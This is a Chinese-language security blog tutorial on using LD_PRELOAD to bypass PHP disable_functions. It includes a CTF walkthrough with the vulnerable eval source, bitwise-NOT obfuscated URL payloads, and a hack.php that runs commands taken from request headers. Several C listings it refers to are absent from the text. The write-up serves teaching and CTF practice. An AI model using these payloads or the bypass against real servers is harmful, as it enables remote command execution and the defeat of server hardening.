序
不能执行系统命令的webshell是没有灵魂的.
LD_PRELOAD
众所周知,代码在编译成程序的时候有一个过程叫做链接-->将所引用的函数与变量链接到可执行程序中.编译过程中将所有的函数库链接完毕叫做静态链接,而动态链接则是编译过程中不进行链接操作,在程序运行时再动态的载入函数库.不管是静态链接还是动态链接,目的都很明确,载入函数库.
LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库.
想必聪明的你已经想到,这便是其可利用的地方.
我认为看实例总是好过文字的.
本地劫持
以id例.
先看看id命令执行过程中可能会调用的函数表(系统API).
╰─ readelf -Ws /usr/bin/id
Symbol table '.dynsym' contains 72 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND endgrent@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND is_selinux_enabled
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (2)
8: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTable
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _exit@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fpending@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND textdomain@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fclose@GLIBC_2.2.5 (2)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwuid@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND bindtextdomain@GLIBC_2.2.5 (2)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dcgettext@GLIBC_2.2.5 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt_long@GLIBC_2.2.5 (2)
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbrtowc@GLIBC_2.2.5 (2)
22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (2)
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrgid@GLIBC_2.2.5 (2)
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __overflow@GLIBC_2.2.5 (2)
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strrchr@GLIBC_2.2.5 (2)
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lseek@GLIBC_2.2.5 (2)
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __assert_fail@GLIBC_2.2.5 (2)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (2)
29: 0000000000000000 0 FUNC GLOBAL DEFAULT UND geteuid@GLIBC_2.2.5 (2)
30: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getcon
31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (2)
33: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.2.5 (2)
34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (2)
35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.2.5 (2)
36: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
37: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.14 (4)
38: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrnam@GLIBC_2.2.5 (2)
39: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fileno@GLIBC_2.2.5 (2)
40: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgid@GLIBC_2.2.5 (2)
41: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgroups@GLIBC_2.2.5 (2)
42: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5 (2)
43: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.2.5 (2)
44: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nl_langinfo@GLIBC_2.2.5 (2)
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND endpwent@GLIBC_2.2.5 (2)
46: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (2)
47: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __freading@GLIBC_2.2.5 (2)
48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND realloc@GLIBC_2.2.5 (2)
49: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setlocale@GLIBC_2.2.5 (2)
50: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (5)
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND error@GLIBC_2.2.5 (2)
52: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrouplist@GLIBC_2.2.5 (2)
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseeko@GLIBC_2.2.5 (2)
54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sysconf@GLIBC_2.2.5 (2)
55: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtoul@GLIBC_2.2.5 (2)
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.2.5 (2)
57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
58: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2)
59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fprintf_chk@GLIBC_2.3.4 (5)
60: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbsinit@GLIBC_2.2.5 (2)
62: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswprint@GLIBC_2.2.5 (2)
63: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_b_loc@GLIBC_2.3 (6)
64: 000000000000b2a8 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (2)
65: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2)
66: 000000000000b2a0 8 OBJECT GLOBAL DEFAULT 26 __progname@GLIBC_2.2.5 (2)
67: 000000000000b2b8 8 OBJECT WEAK DEFAULT 26 program_invocation_name@GLIBC_2.2.5 (2)
68: 000000000000b2b8 8 OBJECT GLOBAL DEFAULT 26 __progname_full@GLIBC_2.2.5 (2)
69: 000000000000b2a0 8 OBJECT WEAK DEFAULT 26 program_invocation_short_name@GLIBC_2.2.5 (2)
70: 000000000000b2c0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (2)
71: 000000000000b2b0 4 OBJECT GLOBAL DEFAULT 26 optind@GLIBC_2.2.5 (2)
使用strace跟踪id的实际调用情况
很多,不全列了.
下面,我们以劫持getgid为例.
先查看getgid函数原型 man getgid.
构造一个与之原型相同的函数并将之编译为共享库文件.如下
下面,载入这个库并运行id命令.
成功.在一定情况下可以利用LD_PRELOAD提权,我后面会提到.
绕过disable_functions
上面我们是直接劫持的getgid函数,下面我们用一个gcc扩展修饰符 __attribute__((constructor)) 写一个函数,可以达到在加载库的同时便执行函数,不再需要像上面一样去找函数.如下
对rob.c稍作修改,用于php.如下
php利用文件如下
成功执行命令.
下面再将rob.c稍作修改,使得我们可以手动传入参数,如下.
简单说明一下,这个传参是通过再设定一个环境变量MY_CMD来传递的.
下面是php 利用文件.
下面拿一道CTF题作为例子.
第十届 极客大挑战 RCE
源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
别的不多说,我们直奔重点.payload如下
?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
众所周知,^是亦或运算符,~是取反运算符(按二进制位)
字母数字都被过滤,我们想正常执行命令是不大可能的,要绕路.这里便是将要执行的命令先进行url编码再取反,在用的时候再在前面挂一个取反,便可以得到原本的命令.
由此可以绕过,上面的payload翻译一下便是 (assert)((next)((getallheaders)())));
在UA头中执行命令便没有了长度限制.
读取不了flag,需要运行readflag去读取.
disable_functions如下
disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
要用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上.
先写一个正常的shell到服务器/tmp(选/tmp是因为一般这个目录普通用户可写,在linux中其是用来暂存文件的.)目录下.
然后文件包含shell,使用蚁剑连接.
payload:
?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%DF%D8%D0%8B%92%8F%D0%CB%8A%8B%CE%CA%92%D1%8F%97%8F%D8));
将上面我们写的hack.php(不只是可以用mail函数,还可以用error_log,mb_send_mail,imap_mail)做点改动,如下
使用蚁剑将rob.so和hack,php上传到/tmp目录下.
文件包含hack.php 便可执行系统命令.
成功绕过disable_functions
对了,忘了说,(函数名)() 这是php7函数特性.
正常解析是 phpinfo()
在php7中 (phpinfo)()也可.
<?php
/**
*filename:en.php
*/
$a = $argv[1];
echo urlencode(~$a);
echo "\n";
?>
<?php
/**
*filename:hack.php
*/
$a = next(getallheaders());
$cmd = "$a > /tmp/hackfile";
@putenv("MY_CMD=" . $cmd);
putenv("LD_PRELOAD=/tmp/rob.so");
mb_send_mail("","","","");
echo file_get_contents("/tmp/hackfile");
?>
提权
背痛,下次写.